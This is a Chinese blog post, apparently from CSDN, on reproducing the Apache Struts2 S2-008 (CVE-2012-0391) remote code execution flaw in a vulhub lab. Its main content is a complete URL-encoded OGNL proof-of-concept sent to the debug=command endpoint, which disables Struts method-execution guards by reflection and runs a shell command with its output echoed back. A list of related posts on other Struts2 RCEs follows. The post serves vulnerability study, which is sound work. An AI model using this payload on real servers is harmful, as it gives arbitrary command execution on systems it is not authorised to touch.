【vulhub】S2-008漏洞复现

最新推荐文章于 2024-07-03 15:10:27 发布
原创 最新推荐文章于 2024-07-03 15:10:27 发布 · 600 阅读 · 0 ·
本内容遵循CC 4.0 BY-SA版权协议
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
标签
#struts2
该博客详细介绍了如何通过PoC（Proof of Concept）技术，利用XWork框架的漏洞绕过方法执行限制，从而动态执行系统命令。文章展示了如何修改配置并利用Runtime类获取系统输入流，以达到执行ls命令并输出结果到响应流的过程。

poc
http://192.168.100.23:8080/devmode.action?debug=command&expression=%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22ls%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()

在这里插入图片描述

详细细节：
https://blog.csdn.net/baidu_38844729/article/details/103069836

[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞S2-008 （CVE-2012-0391）
qq_51577576的博客
10-15 1806
[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞S2-008 （CVE-2012-0391） S2-008 涉及多个漏洞，主要利用对传入参数没有严格限制，导致多个地方可以执行恶意代码。 第一种情况其实就是 S2-007，在异常处理时的OGNL 执行第二种的cookie的方式，虽然在struts2没有对恶意代码进行限制，但是java的webserver（Tomcat），对cookie 的名称有较多限制，在传入struts2之前就被处理，从而较为鸡肋第三种需要开启devModedebug 模式。
Apache Struts2远程代码执行漏洞(S2-001)复现
oiadkt的博客
05-04 3613
Apache Struts2远程代码执行漏洞(S2-001)复现
[旧文系列] Struts2历史高危漏洞系列-part2：S2-007/S2-008/S2-009
mole_exp的博客
01-18 2493
文章目录关于<旧文系列>前言S2-007漏洞复现与分析可回显PoC漏洞修复S2-008漏洞复现与分析Vuln-1：Remote command execution in CookieInterceptorVuln-2：Remote command execution in DebuggingInterceptorVuln-2：可回显PoC漏洞修复S2-009漏洞复现与分析可回显PoC漏洞修复Reference 关于<旧文系列> <旧文系列>系列是笔者将以前发到其他地方的技
Struts2_012_RCE CVE-2012-0391 漏洞复现
ADummy的博客
02-18 1070
Struts2_012_远程代码执行 by ADummy 0x00利用路线 ​ burpuite抓包—>修改payload—>重放包—>代码执行—>有回显 0x01漏洞介绍 ​ 如果在配置 Action 中 Result 时使用了重定向类型，并且还使用 ${param_name} 作为重定向变量，例如： <package name="S2-012" extends="struts-default"> <action name="user" class=
墨者学院-Apache Struts2远程代码执行漏洞(S2-008)复现
JimWu的博客
09-04 1747
Apache Struts2远程代码执行漏洞(S2-008)复现 难易程度:★★ 题目类型:命令执行 使用工具:FireFox浏览器、360安全浏览器 漏洞原理:为了防止攻击者在参数中调用任意方法，标志xwork.MethodAccessor.denyMethodExecution被设置为true，并且SecurityMemberAccess字段默认allowStaticMethodAccess设...
docker—vulhub—struts2漏洞复现详细过程(s2-001/007/008)
AmyBaby00的博客
11-14 3272
本文为学习笔记，仅限学习交流。 不得利用、从事危害国家或人民安全、荣誉和利益等活动。 请参阅《中华人民共和国网络安全法》 简介&准备： 1、centos7 已开启docker ：systemctl restart docker.service 2、进入vulhub —struts2 : cd vulhub/struts2 3、启用测试环境：docker-compose up -d 4、PC...
vulhub-S2-008 远程代码执行漏洞-漏洞复现
wocao___的博客
02-22 709
S2-008 远程代码执行漏洞 影响版本: 2.1.0 - 2.3.1 测试环境搭建 docker-compose up -d 原理 S2-008 涉及多个漏洞，Cookie 拦截器错误配置可造成 OGNL 表达式执行，但是由于大多 Web 容器（如 Tomcat）对 Cookie 名称都有字符限制，一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模 式后会有多个调试接口能够直接查看对象信息或直接执行命令，正如 kxlzx 所提这种情况在生
vulhub-struts2-S2-008 远程代码执行漏洞复现
qq_56426046的博客
06-19 649
影响版本: 2.1.0 - 2.3.1。
vulhub靶场struts2漏洞复现
weixin_44300286的博客
03-06 3072
0x01、S2-001远程代码执行漏洞 原理 该漏洞因为用户提交表单数据并且验证失败时，后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析，然后重新填充到对应的表单数据中。例如注册或登录页面，提交失败后端一般会默认返回之前提交的数据，由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析，所以可以直接构造 Payload 进行命令执行 影响版本 Struts 2.0.0 - Struts 2.0.8 poc 执行任意命令 %{#a=(new java.lan
Vulhub下的Struts-2漏洞复现
热门推荐
weixin_44508748的博客
04-12 2万+
参考网址： https://github.com/phith0n/vulhub/tree/master/struts2/ Struts-S2-001 远程代码利用表单验证错误 1.漏洞描述 该漏洞因为用户提交表单数据并且验证失败时，后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析，然后重新填充到对应的表单数据中。例如注册或登录页面，提交失败后端一般会默认返回之前提交的...
s2-008远程代码执行漏洞
Stephen Wolf
11-18 2516
一、漏洞描述: S2-008 涉及多个漏洞，Cookie 拦截器错误配置可造成 OGNL 表达式执行，但是由于大多 Web 容器（如 Tomcat）对 Cookie 名称都有字符限制，一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令，正如 kxlzx 所提这种情...
struts2远程代码执行漏洞简要回顾
networkangle的专栏
07-15 2928
apache官方安全公告页面： http://struts.apache.org/development/2.x/docs/security-bulletins.html 其中涉及代码执行的漏洞有：S2-003，S2-005，S2-007，S2-008，S2-009，S2-012~S2-016，下面逐一简要说明。 一、S2-003 受影响版本：低于Struts 2.0.12
开发框架漏洞
weixin_56378389的博客
04-15 968
Struts2;Thinkphp
S2-008 &S2-009 远程代码执行漏洞检测与利用
Fly_鹏程万里
12-14 5006
前言 漏洞环境改自vulhub https://github.com/kingkaki/Struts2-Vulenv S2-008 漏洞信息 https://cwiki.apache.org/confluence/display/WW/S2-008 主要是利用对传入参数没有严格限制，导致多个地方可以执行恶意代码 第一种情况其实就是S2-007，在异常处理时的OGNL执行 第二...
Vulhub——struct2
最新发布
qq_55202378的博客
07-03 1867
Struts2框架，用于开发Java EE网络应用程序的开放源代码网页应用程序架构。Struts2是一个基于MVC设计思路的Web应用框架，它本质上相当于一个servlet，在MVC设计模式中（Model负责数据维护，包括数据和业务逻辑（Action），View负责向用户呈现数据（Result），Controller通过代码控制），Struts2作为控制器来建立模型与视图的数据交互。Struct2是一个Java网站框架。
vulhub系列之struts2(s2-001、s2-007、s2-008、s2-009、s2-012)
weixin_43071873的博客
11-26 1693
S2-001 远程代码执行漏洞 漏洞详情： 该漏洞因为用户提交表单数据并且验证失败时，后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析，然后重新填充到对应的表单数据中。例如注册或登录页面，提交失败后端一般会默认返回之前提交的数据，由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析，所以可以直接构造 Payload 进行命令执行 影响版本： Struts 2.0.0 - Struts 2.0.8 漏洞复现： 测试漏洞，%{1+1} 提交后报错返回解析为
Apache Struts2远程代码执行漏洞(S2-008)复现总结
qq_45746681的博客
10-07 2118
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档 文章目录前言一、漏洞原理2.复现 前言 记录并复现相关struts漏洞,加深理解 一、漏洞原理 主要是利用对传入参数没有严格限制，导致多个地方可以执行恶意代码，传入?debug=command&expression=即可执行OGNL表达式 2.复现 访问墨者学院strut2-008靶机 构造poc，执行命令ls，查看文件。 ?debug=command&expression=%23context%5B%22xwork
Struts2_008_RCE CVE-2012-0392 漏洞复现
ADummy的博客
02-18 2287
Struts2_008_远程代码执行 by ADummy 0x00利用路线 ​ burpuite抓包—>修改payload—>重放包—>代码执行 0x01漏洞介绍 ​ 为了防止攻击者在参数内调用任意方法，默认情况下将标志xwork.MethodAccessor.denyMethodExecution设置为true，并将SecurityMemberAccess字段allowStaticMethodAccess设置为false。另外，为了防止访问上下文变量，自Struts 2.2.1.
Struts2远程代码执行漏洞（CVE-2020-17530） 复现及排查
dayouzi的博客
08-15 2343
Struts2是一个基于MVC设计模式的Web应用框架，它本质上相当于一个servlet，在MVC设计模式中，Struts2作为控制器(Controller)来建立模型与视图的数据交互。CVE-2020-17530是对CVE-2019-0230的绕过，Struts2官方对CVE-2019-0230的修复方式是加强OGNL表达式沙盒，而CVE-2020-17530绕过了该沙盒。在特定的环境下，远程攻击者通过构造恶意的OGNL表达式，可造成任意代码执行。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值